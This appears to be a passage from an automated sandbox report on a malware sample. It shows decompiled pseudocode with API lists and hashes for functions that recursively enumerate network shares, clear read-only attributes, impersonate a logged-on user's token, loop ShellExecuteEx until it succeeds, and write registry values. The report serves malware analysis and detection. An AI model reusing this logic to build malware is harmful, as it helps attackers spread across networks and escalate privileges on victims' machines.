                                                                                  					} else {
                                                                                  						__eflags = _t23 - 5;
                                                                                  						if(_t23 != 5) {
                                                                                  							continue;
                                                                                  						} else {
                                                                                  							_t25 = GetFileAttributesW(_t31); // executed
                                                                                  							__eflags = _t25 - 0xffffffff;
                                                                                  							if(_t25 == 0xffffffff) {
                                                                                  								goto L19;
                                                                                  							} else {
                                                                                  								__eflags = _t25 & 0x00000001;
                                                                                  								if((_t25 & 0x00000001) == 0) {
                                                                                  									continue;
                                                                                  								} else {
                                                                                  									_t26 = SetFileAttributesW(_t31, 0x80); // executed
                                                                                  									__eflags = _t26;
                                                                                  									if(_t26 == 0) {
                                                                                  										goto L19;
                                                                                  									} else {
                                                                                  										continue;
                                                                                  									}
                                                                                  								}
                                                                                  							}
                                                                                  						}
                                                                                  					}
                                                                                  					L17:
                                                                                  					goto L18;
                                                                                  				}
                                                                                  				E00B62986(_t38, _t50, _t44);
                                                                                  				_t19 = _t44;
                                                                                  				goto L17;
                                                                                  			}

















                                                                                  0x00b628a9
                                                                                  0x00b628ad
                                                                                  0x00b628b4
                                                                                  0x00b628b9
                                                                                  0x00b628c2
                                                                                  0x00b628c2
                                                                                  0x00b628c5
                                                                                  0x00b628c8
                                                                                  0x00b628d0
                                                                                  0x00b628fa
                                                                                  0x00b628fa
                                                                                  0x00b628fe
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b628d9
                                                                                  0x00b628de
                                                                                  0x00b628e1
                                                                                  0x00b62912
                                                                                  0x00b628e3
                                                                                  0x00b628e5
                                                                                  0x00b628ea
                                                                                  0x00b628f2
                                                                                  0x00b628f7
                                                                                  0x00000000
                                                                                  0x00b628f7
                                                                                  0x00b62973
                                                                                  0x00b62979
                                                                                  0x00b62979
                                                                                  0x00b62900
                                                                                  0x00b62906
                                                                                  0x00b62909
                                                                                  0x00b6294d
                                                                                  0x00b6295e
                                                                                  0x00b62963
                                                                                  0x00b62966
                                                                                  0x00b62968
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b62916
                                                                                  0x00b6291b
                                                                                  0x00b62920
                                                                                  0x00b62921
                                                                                  0x00b62924
                                                                                  0x00b62926
                                                                                  0x00b6297a
                                                                                  0x00b6297c
                                                                                  0x00b62982
                                                                                  0x00b62928
                                                                                  0x00b62928
                                                                                  0x00b6292b
                                                                                  0x00000000
                                                                                  0x00b6292d
                                                                                  0x00b6292e
                                                                                  0x00b62934
                                                                                  0x00b62937
                                                                                  0x00000000
                                                                                  0x00b62939
                                                                                  0x00b62939
                                                                                  0x00b6293b
                                                                                  0x00000000
                                                                                  0x00b6293d
                                                                                  0x00b62943
                                                                                  0x00b62949
                                                                                  0x00b6294b
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6294b
                                                                                  0x00b6293b
                                                                                  0x00b62937
                                                                                  0x00b6292b
                                                                                  0x00b62972
                                                                                  0x00000000
                                                                                  0x00b62972
                                                                                  0x00b6296b
                                                                                  0x00b62970
                                                                                  0x00000000

                                                                                  APIs
                                                                                  • RtlGetLastWin32Error.NTDLL ref: 00B628D9
                                                                                  • RtlGetLastWin32Error.NTDLL ref: 00B62916
                                                                                  • GetFileAttributesW.KERNEL32(?), ref: 00B6292E
                                                                                  • SetFileAttributesW.KERNEL32(?,00000080), ref: 00B62943
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: AttributesErrorFileLastWin32
                                                                                  • String ID:
                                                                                  • API String ID: 1414104876-0
                                                                                  • Opcode ID: f70fd3aabd47531665051a01d6216eab2fe568c35c0654a79791bc2afef119f7
                                                                                  • Instruction ID: 3b18be8b2cb85ad83d5a5ed4773096b49266a968ea26997c36d1cf1c5bbe2ba0
                                                                                  • Opcode Fuzzy Hash: f70fd3aabd47531665051a01d6216eab2fe568c35c0654a79791bc2afef119f7
                                                                                  • Instruction Fuzzy Hash: 4D21F931A00A06EBEB149F649C85BAE33D8EF95361F1445B9FD05E62D1DB3CCD408672
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 117 b6667a-b66695 WNetOpenEnumW 118 b66697-b66699 117->118 119 b6669e-b666b6 call b63c1e 117->119 120 b6673b-b6673e 118->120 123 b666c5-b666c6 119->123 124 b666b8-b666c3 WNetCloseEnum 119->124 126 b666c7-b666de WNetEnumResourceW 123->126 125 b6673a 124->125 125->120 127 b666e0-b666e5 126->127 128 b6671c-b66721 126->128 127->126 130 b666e7 127->130 128->126 129 b66723-b66724 call b63c6b 128->129 135 b66729-b66739 WNetCloseEnum 129->135 131 b666ea-b666ee 130->131 133 b666f0-b666fb call b6651d 131->133 134 b666fc-b66700 131->134 133->134 137 b66702-b66709 call b6667a 134->137 138 b66710-b66717 134->138 135->125 142 b6670e-b6670f 137->142 138->131 141 b66719 138->141 141->128 142->138
                                                                                  C-Code - Quality: 96%
                                                                                  			E00B6667A(intOrPtr _a4, struct _NETRESOURCE* _a8) {
                                                                                  				int _v8;
                                                                                  				void* _v12;
                                                                                  				int _v16;
                                                                                  				int _v20;
                                                                                  				int _t24;
                                                                                  				void* _t26;
                                                                                  				int _t29;
                                                                                  				signed int _t31;
                                                                                  				void* _t33;
                                                                                  				void* _t40;
                                                                                  				void* _t49;
                                                                                  				intOrPtr* _t52;
                                                                                  
                                                                                  				_t24 = WNetOpenEnumW(2, 1, 0, _a8,  &_v12); // executed
                                                                                  				if(_t24 == 0) {
                                                                                  					_v8 = _v8 | 0xffffffff;
                                                                                  					_v16 = 0x4000;
                                                                                  					_t26 = E00B63C1E(0x4000); // executed
                                                                                  					_t49 = _t26;
                                                                                  					if(_t49 != 0) {
                                                                                  						goto L5;
                                                                                  						do {
                                                                                  							while(1) {
                                                                                  								L5:
                                                                                  								_t29 = WNetEnumResourceW(_v12,  &_v8, _t49,  &_v16); // executed
                                                                                  								_v20 = _t29;
                                                                                  								if(_t29 != 0) {
                                                                                  									goto L14;
                                                                                  								}
                                                                                  								_t40 = 0;
                                                                                  								if(_v8 <= 0) {
                                                                                  									continue;
                                                                                  								}
                                                                                  								_t12 = _t49 + 0x14; // 0x14
                                                                                  								_t52 = _t12;
                                                                                  								do {
                                                                                  									if( *((intOrPtr*)(_t52 - 0x10)) == 1) {
                                                                                  										E00B6651D( *_t52, _a4);
                                                                                  									}
                                                                                  									if(( *(_t52 - 8) & 0x00000002) != 0) {
                                                                                  										_t18 = _t52 - 0x14; // 0x0
                                                                                  										E00B6667A(_a4, _t18); // executed
                                                                                  									}
                                                                                  									_t40 = _t40 + 1;
                                                                                  									_t52 = _t52 + 0x20;
                                                                                  								} while (_t40 < _v8);
                                                                                  								_t29 = _v20;
                                                                                  								goto L14;
                                                                                  							}
                                                                                  							L14:
                                                                                  						} while (_t29 != 0x103);
                                                                                  						E00B63C6B(_t49); // executed
                                                                                  						_t31 = WNetCloseEnum(_v12);
                                                                                  						asm("sbb eax, eax");
                                                                                  						_t33 =  ~_t31 + 1;
                                                                                  						L16:
                                                                                  						return _t33;
                                                                                  					}
                                                                                  					WNetCloseEnum(_v12);
                                                                                  					_t33 = 0;
                                                                                  					goto L16;
                                                                                  				}
                                                                                  				return 0;
                                                                                  			}















                                                                                  0x00b6668d
                                                                                  0x00b66695
                                                                                  0x00b6669e
                                                                                  0x00b666a9
                                                                                  0x00b666ac
                                                                                  0x00b666b1
                                                                                  0x00b666b6
                                                                                  0x00b666c6
                                                                                  0x00b666c7
                                                                                  0x00b666c7
                                                                                  0x00b666c7
                                                                                  0x00b666d3
                                                                                  0x00b666d9
                                                                                  0x00b666de
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b666e0
                                                                                  0x00b666e5
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b666e7
                                                                                  0x00b666e7
                                                                                  0x00b666ea
                                                                                  0x00b666ee
                                                                                  0x00b666f5
                                                                                  0x00b666fb
                                                                                  0x00b66700
                                                                                  0x00b66702
                                                                                  0x00b66709
                                                                                  0x00b6670f
                                                                                  0x00b66710
                                                                                  0x00b66711
                                                                                  0x00b66714
                                                                                  0x00b66719
                                                                                  0x00000000
                                                                                  0x00b66719
                                                                                  0x00b6671c
                                                                                  0x00b6671c
                                                                                  0x00b66724
                                                                                  0x00b6672d
                                                                                  0x00b66736
                                                                                  0x00b66738
                                                                                  0x00b6673a
                                                                                  0x00000000
                                                                                  0x00b6673a
                                                                                  0x00b666bb
                                                                                  0x00b666c1
                                                                                  0x00000000
                                                                                  0x00b666c1
                                                                                  0x00000000

                                                                                  APIs
                                                                                  • WNetOpenEnumW.MPR(00000002,00000001,00000000,00B62C32,?), ref: 00B6668D
                                                                                  • WNetCloseEnum.MPR(?), ref: 00B666BB
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Enum$CloseOpen
                                                                                  • String ID:
                                                                                  • API String ID: 1701607978-0
                                                                                  • Opcode ID: 4f805b0bd4c9a40d5a711b7ff339643ed9806df20ef5469edddc100f7f93c3a3
                                                                                  • Instruction ID: 7c153636036effa634cd31876a3b3666d1067303ad7d4fb40d8e402f187d13e4
                                                                                  • Opcode Fuzzy Hash: 4f805b0bd4c9a40d5a711b7ff339643ed9806df20ef5469edddc100f7f93c3a3
                                                                                  • Instruction Fuzzy Hash: 53219231904209BFEB209FA4EC45ABDBBF9EF00315F1005A9F955E2090EB359E859B50
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  C-Code - Quality: 84%
                                                                                  			E00B643C7(void* __esi, void* __eflags) {
                                                                                  				void* _v8;
                                                                                  				short _v12;
                                                                                  				char _v36;
                                                                                  				void* _t13;
                                                                                  				int _t21;
                                                                                  				void* _t28;
                                                                                  				void* _t33;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x763, 0x10, 0x18,  &_v36);
                                                                                  				_v12 = 0;
                                                                                  				_t13 = E00B64122(__esi, GetCurrentProcess()); // executed
                                                                                  				_pop(_t28);
                                                                                  				if(_t13 != 0x4000) {
                                                                                  					return 1;
                                                                                  				}
                                                                                  				_t33 = OpenProcess(0x2000000, 0, E00B642EC(_t28,  &_v36));
                                                                                  				if(_t33 != 0) {
                                                                                  					if(OpenProcessToken(_t33, 0xf01ff,  &_v8) != 0) {
                                                                                  						_push(__esi);
                                                                                  						_t21 = ImpersonateLoggedOnUser(_v8);
                                                                                  						E00B63DB7(_t33);
                                                                                  						E00B63DB7(_v8);
                                                                                  						return 0 | _t21 != 0x00000000;
                                                                                  					}
                                                                                  					E00B63DB7(_t33);
                                                                                  				}
                                                                                  				return 0;
                                                                                  			}










                                                                                  0x00b643e0
                                                                                  0x00b643ea
                                                                                  0x00b643f5
                                                                                  0x00b643fa
                                                                                  0x00b64400
                                                                                  0x00000000
                                                                                  0x00b64469
                                                                                  0x00b6441a
                                                                                  0x00b6441e
                                                                                  0x00b64436
                                                                                  0x00b64441
                                                                                  0x00b64445
                                                                                  0x00b6444e
                                                                                  0x00b64456
                                                                                  0x00000000
                                                                                  0x00b64464
                                                                                  0x00b64439
                                                                                  0x00b6443e
                                                                                  0x00000000

                                                                                  APIs
                                                                                  • GetCurrentProcess.KERNEL32 ref: 00B643EE
                                                                                    • Part of subcall function 00B64122: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00B64134
                                                                                    • Part of subcall function 00B64122: GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),?,0000004C,00000000), ref: 00B6414D
                                                                                    • Part of subcall function 00B64122: IsValidSid.ADVAPI32(?,00000000), ref: 00B6415C
                                                                                  • OpenProcess.KERNEL32(02000000,00000000,00000000), ref: 00B64414
                                                                                  • OpenProcessToken.ADVAPI32(00000000,000F01FF,?), ref: 00B6442E
                                                                                  • ImpersonateLoggedOnUser.ADVAPI32(?), ref: 00B64445
                                                                                    • Part of subcall function 00B63DB7: FindCloseChangeNotification.KERNEL32(00000000), ref: 00B63DC3
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Process$OpenToken$ChangeCloseCurrentFindImpersonateInformationLoggedNotificationUserValid
                                                                                  • String ID:
                                                                                  • API String ID: 2901522712-0
                                                                                  • Opcode ID: 86d4db47f70b622ee15fa0de5c094b436a2cc5e6500b319c0dd049400fd04355
                                                                                  • Instruction ID: 2854a6cf2924e7f993b20eace10779e982b1c540d71ab3de656183d2e74fc65f
                                                                                  • Opcode Fuzzy Hash: 86d4db47f70b622ee15fa0de5c094b436a2cc5e6500b319c0dd049400fd04355
                                                                                  • Instruction Fuzzy Hash: 0211A573940A187BDB10A7F49C47FAE76ECEF45B11F1044BDF90AE2191EF6C8A405650
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 163 b647ce-b647ed RegOpenKeyExW 164 b64844-b6484b 163->164 165 b647ef-b64807 RegQueryValueExW 163->165 166 b6483a-b64843 RegCloseKey 165->166 167 b64809-b6480b 165->167 166->164 167->166 168 b6480d-b64819 call b63c1e 167->168 168->166 171 b6481b-b6482f RegQueryValueExW 168->171 171->166 172 b64831-b64838 call b63c6b 171->172 172->166
                                                                                  C-Code - Quality: 100%
                                                                                  			E00B647CE(void* _a4, short* _a8, short* _a12, int* _a16, int* _a20) {
                                                                                  				void* _v8;
                                                                                  				long _t13;
                                                                                  				long _t15;
                                                                                  				char* _t17;
                                                                                  				long _t18;
                                                                                  				int* _t27;
                                                                                  				char* _t30;
                                                                                  
                                                                                  				_t30 = 0;
                                                                                  				_t13 = RegOpenKeyExW(_a4, _a8, 0, 1,  &_v8); // executed
                                                                                  				if(_t13 != 0) {
                                                                                  					L7:
                                                                                  					return _t30;
                                                                                  				}
                                                                                  				_t27 = _a20;
                                                                                  				_t15 = RegQueryValueExW(_v8, _a12, 0, _a16, 0, _t27); // executed
                                                                                  				if(_t15 == 0 &&  *_t27 != 0) {
                                                                                  					_t17 = E00B63C1E( *_t27); // executed
                                                                                  					_t30 = _t17;
                                                                                  					if(_t30 != 0) {
                                                                                  						_t18 = RegQueryValueExW(_v8, _a12, 0, _a16, _t30, _t27); // executed
                                                                                  						if(_t18 != 0) {
                                                                                  							E00B63C6B(_t30);
                                                                                  							_t30 = 0;
                                                                                  						}
                                                                                  					}
                                                                                  				}
                                                                                  				RegCloseKey(_v8); // executed
                                                                                  				goto L7;
                                                                                  			}










                                                                                  0x00b647e0
                                                                                  0x00b647e5
                                                                                  0x00b647ed
                                                                                  0x00b64844
                                                                                  0x00b6484b
                                                                                  0x00b6484b
                                                                                  0x00b647f0
                                                                                  0x00b647ff
                                                                                  0x00b64807
                                                                                  0x00b6480f
                                                                                  0x00b64814
                                                                                  0x00b64819
                                                                                  0x00b64827
                                                                                  0x00b6482f
                                                                                  0x00b64832
                                                                                  0x00b64838
                                                                                  0x00b64838
                                                                                  0x00b6482f
                                                                                  0x00b64819
                                                                                  0x00b6483d
                                                                                  0x00000000

                                                                                  APIs
                                                                                  • RegOpenKeyExW.KERNEL32(0000000A,00000005,00000000,00000001,?,00B7C040,00000000,?,?,00B622A9,80000002,?,?,?,?,00B7C040), ref: 00B647E5
                                                                                  • RegQueryValueExW.KERNEL32(?,000003A9,00000000,00B7C040,00000000,?,80000002,?,?,00B622A9,80000002,?,?,?,?,00B7C040), ref: 00B647FF
                                                                                  • RegCloseKey.KERNEL32(?,?,?,00B622A9,80000002,?,?,?,?,00B7C040,000003A9,00000005,0000000A,?), ref: 00B6483D
                                                                                    • Part of subcall function 00B63C1E: HeapCreate.KERNEL32(00000000,00100000,00000000,?,00B61AA2,?,?,00B61AD1), ref: 00B63C33
                                                                                    • Part of subcall function 00B63C1E: GetProcessHeap.KERNEL32(?,00B61AA2,?,?,00B61AD1), ref: 00B63C42
                                                                                  • RegQueryValueExW.KERNEL32(?,000003A9,00000000,00B7C040,00000000,?,?,?,00B622A9,80000002,?,?,?,?,00B7C040,000003A9), ref: 00B64827
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: HeapQueryValue$CloseCreateOpenProcess
                                                                                  • String ID:
                                                                                  • API String ID: 3348224683-0
                                                                                  • Opcode ID: b1dd684424898454812a4018a3944b95616a7015534ad8d61801dd11799b6af5
                                                                                  • Instruction ID: 743d043095f23ec7a919d8691091ecb45a40f45763672d035e909893270bfb37
                                                                                  • Opcode Fuzzy Hash: b1dd684424898454812a4018a3944b95616a7015534ad8d61801dd11799b6af5
                                                                                  • Instruction Fuzzy Hash: E5016D3210014DBFEF124F95DC44DABBBADEF15795B0400A9F904A2020DB368D60EBA0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 310 b63e42-b63ece call b64e03 * 2 GetForegroundWindow 315 b63ecf-b63edb ShellExecuteExW 310->315 315->315 316 b63edd-b63ee0 315->316
                                                                                  C-Code - Quality: 100%
                                                                                  			E00B63E42(void* __eflags) {
                                                                                  				struct _SHELLEXECUTEINFOW _v64;
                                                                                  				short _v66;
                                                                                  				char _v80;
                                                                                  				short _v84;
                                                                                  				char _v376;
                                                                                  				struct HWND__* _t29;
                                                                                  				int _t33;
                                                                                  
                                                                                  				E00B64E03(0xb7cc28, 0x3a2, 8, 0xe,  &_v80);
                                                                                  				_v66 = 0;
                                                                                  				E00B64E03(0xb7cc28, 0x1cd, 0xd, 0x124,  &_v376);
                                                                                  				_v64.cbSize = 0x3c;
                                                                                  				_v84 = 0;
                                                                                  				_v64.fMask = 0;
                                                                                  				_t29 = GetForegroundWindow(); // executed
                                                                                  				_v64.hwnd = _t29;
                                                                                  				_v64.lpFile =  &_v80;
                                                                                  				_v64.lpVerb = 0;
                                                                                  				_v64.lpDirectory = 0;
                                                                                  				_v64.nShow = 0;
                                                                                  				_v64.hInstApp = 0;
                                                                                  				_v64.lpIDList = 0;
                                                                                  				_v64.lpClass = 0;
                                                                                  				_v64.hkeyClass = 0;
                                                                                  				_v64.dwHotKey = 0;
                                                                                  				_v64.hIcon = 0;
                                                                                  				_v64.hProcess = 0;
                                                                                  				_v64.lpParameters =  &_v376;
                                                                                  				do {
                                                                                  					_t33 = ShellExecuteExW( &_v64); // executed
                                                                                  				} while (_t33 == 0);
                                                                                  				return _t33;
                                                                                  			}










                                                                                  0x00b63e5f
                                                                                  0x00b63e66
                                                                                  0x00b63e7e
                                                                                  0x00b63e86
                                                                                  0x00b63e91
                                                                                  0x00b63e95
                                                                                  0x00b63e98
                                                                                  0x00b63e9e
                                                                                  0x00b63ea4
                                                                                  0x00b63ead
                                                                                  0x00b63eb0
                                                                                  0x00b63eb3
                                                                                  0x00b63eb6
                                                                                  0x00b63eb9
                                                                                  0x00b63ebc
                                                                                  0x00b63ebf
                                                                                  0x00b63ec2
                                                                                  0x00b63ec5
                                                                                  0x00b63ec8
                                                                                  0x00b63ecb
                                                                                  0x00b63ecf
                                                                                  0x00b63ed3
                                                                                  0x00b63ed9
                                                                                  0x00b63ee0

                                                                                  APIs
                                                                                  • GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,00000000), ref: 00B63E98
                                                                                  • ShellExecuteExW.SHELL32(0000003C), ref: 00B63ED3
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: ExecuteForegroundShellWindow
                                                                                  • String ID: <
                                                                                  • API String ID: 2707725784-4251816714
                                                                                  • Opcode ID: 3dc5924d8021509ff36962d709c504e6aad09899519882104e3371604e6bcc24
                                                                                  • Instruction ID: 33056934d5b7a2f56347d45cb0c5c74ccaf60d66fbfcbbc8979c4bc1b5250928
                                                                                  • Opcode Fuzzy Hash: 3dc5924d8021509ff36962d709c504e6aad09899519882104e3371604e6bcc24
                                                                                  • Instruction Fuzzy Hash: 4811A2B1D51228ABDB11DFA8D941ADEBBF8EB08B00F00415BF914F6280E7B446408BD5
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 391 b64122-b6413c OpenProcessToken 392 b6413e-b64155 GetTokenInformation 391->392 393 b64178-b6417e 391->393 394 b64157-b64164 IsValidSid 392->394 395 b6416f-b64172 call b63db7 392->395 396 b64166-b6416a 394->396 397 b6416e 394->397 399 b64177 395->399 396->397 397->395 399->393
                                                                                  C-Code - Quality: 100%
                                                                                  			E00B64122(void* __esi, void* _a4) {
                                                                                  				void* _v8;
                                                                                  				long _v12;
                                                                                  				void _v88;
                                                                                  				int _t17;
                                                                                  				intOrPtr _t22;
                                                                                  				void* _t24;
                                                                                  
                                                                                  				_t22 = 0;
                                                                                  				if(OpenProcessToken(_a4, 8,  &_v8) != 0) {
                                                                                  					_t17 = GetTokenInformation(_v8, 0x19,  &_v88, 0x4c,  &_v12); // executed
                                                                                  					if(_t17 != 0) {
                                                                                  						_t24 = _v88;
                                                                                  						if(IsValidSid(_t24) != 0) {
                                                                                  							_t22 =  *((intOrPtr*)(_t24 + 4 + ( *(_t24 + 1) & 0x000000ff) * 4));
                                                                                  						}
                                                                                  					}
                                                                                  					E00B63DB7(_v8); // executed
                                                                                  				}
                                                                                  				return _t22;
                                                                                  			}









                                                                                  0x00b64132
                                                                                  0x00b6413c
                                                                                  0x00b6414d
                                                                                  0x00b64155
                                                                                  0x00b64158
                                                                                  0x00b64164
                                                                                  0x00b6416a
                                                                                  0x00b6416a
                                                                                  0x00b6416e
                                                                                  0x00b64172
                                                                                  0x00b64177
                                                                                  0x00b6417e

                                                                                  APIs
                                                                                  • OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00B64134
                                                                                  • GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),?,0000004C,00000000), ref: 00B6414D
                                                                                  • IsValidSid.ADVAPI32(?,00000000), ref: 00B6415C
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Token$InformationOpenProcessValid
                                                                                  • String ID:
                                                                                  • API String ID: 1215394654-0
                                                                                  • Opcode ID: 8fe741fb18e84e6c911bf45e87db776120216fc376607fdc63da2b8a45f79e24
                                                                                  • Instruction ID: 474ba65fe266560a3b8bb3cd978f134a6ad88d3f4137f88001a6bb68680d2dcd
                                                                                  • Opcode Fuzzy Hash: 8fe741fb18e84e6c911bf45e87db776120216fc376607fdc63da2b8a45f79e24
                                                                                  • Instruction Fuzzy Hash: CDF0A971600108ABDB209BA59C05AAEBFFDEF44711F0000A9FA09E6094DB38EA449BA0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 400 b6484c-b6486c RegCreateKeyExW 401 b64895-b6489b 400->401 402 b6486e-b6488f RegSetValueExW RegCloseKey 400->402 402->401
                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6484C(void* __ecx, void* _a4, short* _a8, short* _a12, int _a16, char* _a20, int _a24) {
                                                                                  				void* _v8;
                                                                                  				long _t11;
                                                                                  				int _t19;
                                                                                  
                                                                                  				_t19 = 0;
                                                                                  				_t11 = RegCreateKeyExW(_a4, _a8, 0, 0, 0, 2, 0,  &_v8, 0); // executed
                                                                                  				if(_t11 == 0) {
                                                                                  					RegSetValueExW(_v8, _a12, 0, _a16, _a20, _a24); // executed
                                                                                  					_t19 =  ==  ? 1 : 0; // executed
                                                                                  					RegCloseKey(_v8); // executed
                                                                                  				}
                                                                                  				return _t19;
                                                                                  			}






                                                                                  0x00b64851
                                                                                  0x00b64864
                                                                                  0x00b6486c
                                                                                  0x00b6487e
                                                                                  0x00b6488c
                                                                                  0x00b6488f
                                                                                  0x00b6488f
                                                                                  0x00b6489b

                                                                                  APIs
                                                                                  • RegCreateKeyExW.KERNEL32(00000000,00B7D640,00000000,00000000,00000000,00000002,00000000,00B61820,00000000,00000000,?,?,00B624BC,80000002,?,?), ref: 00B64864
                                                                                  • RegSetValueExW.KERNEL32(00B61820,?,00000000,00000000,00B7D698,?,?,?,00B624BC,80000002,?,?,00000003,00B7D600,?,00B7D698), ref: 00B6487E
                                                                                  • RegCloseKey.KERNEL32(00B61820,?,?,00B624BC,80000002,?,?,00000003,00B7D600,?,00B7D698,00000000,?,00B7D640,00000000,00B61820), ref: 00B6488F
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
